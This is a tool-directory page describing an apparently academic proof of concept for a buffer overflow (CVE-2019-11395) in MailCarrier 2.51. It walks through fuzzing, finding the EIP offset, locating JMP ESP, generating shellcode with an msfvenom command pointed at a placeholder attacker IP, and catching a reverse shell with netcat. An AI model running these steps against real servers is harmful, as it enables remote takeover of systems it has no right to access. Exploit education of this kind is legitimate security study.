Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2019-11395 — Proof of concept with the academic purpose to understand the Buffer Overflow vulnerability using as background the CVE-2019-11395 | Kitploit
Tools/GitHubGitHub/rafaelbicas/cve-2019-11395
Payload GenerationVulnerability AnalysisExploitationShellcodeFuzzingLearning & EducationBinary Exploitation
GitHubrafaelbicas/cve-2019-11395

CVE-2019-11395

Proof of concept with the academic purpose to understand the Buffer Overflow vulnerability using as background the CVE-2019-11395

View Repository
31 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2019-11395

Overview

This Proof of Concept (PoC) demonstrates a Buffer Overflow vulnerability in MailCarrier 2.51, allowing remote attackers to execute arbitrary code via a long string. The vulnerability can be exploited using the following processes:

  • SMTP RCPT TO
  • POP3 USER
  • POP3 LIST
  • POP3 TOP
  • POP3 RETR

The project aims to provide an academic approach to understanding how Buffer Overflow works.

⚠️ Warnings

Before running any tests, never use your production environment for initial experimentation. Instead, create a lab setup similar to your production environment to avoid any issues or unintended consequences.

🔧 Preparation

1. Discover the Vulnerability

  • Use the fuzzing technique to determine the approximate number of bytes required to break the application.

2. Find the Offset

  • Once the crash occurs, use:
    root@kitploit:~
    msf-pattern_create -l <number_of_bytes>

This helps determine the Offset, which is the exact number of bytes needed to overwrite the EIP.

  • Use the following command to confirm the Offset
    root@kitploit:~
    msf-pattern_offset -q <bytes_on_EIP_register> -l <number_of_bytes>

This identifies the exact byte count required to control the EIP.

3. Find a JMP or CALL Instruction

  • Locate an instruction using:
    root@kitploit:~
    JMP ESP
CALL ESP

We will use this address to redirect execution. Be cautious with ASLR, SafeSEH, or other protection mechanisms.

4. Identify bad chars

  • Use the Mona tool within Immunity Debugger to check for bad characters.

5. Generate Shellcode

  • Create shellcode while excluding bad characters:
    root@kitploit:~
    msfvenom -p <shellcode> LHOST=<Attacker_IP> LPORT=443 -b "<badchars_list>" exitfunc=thread -f python

6. Add NOPs

  • Insert NOP (\x90) instructions into the payload to improve stability.

7. Establish a connection

  • Use netcat (nc) to create a reverse shell and connect to the target.
Download Tool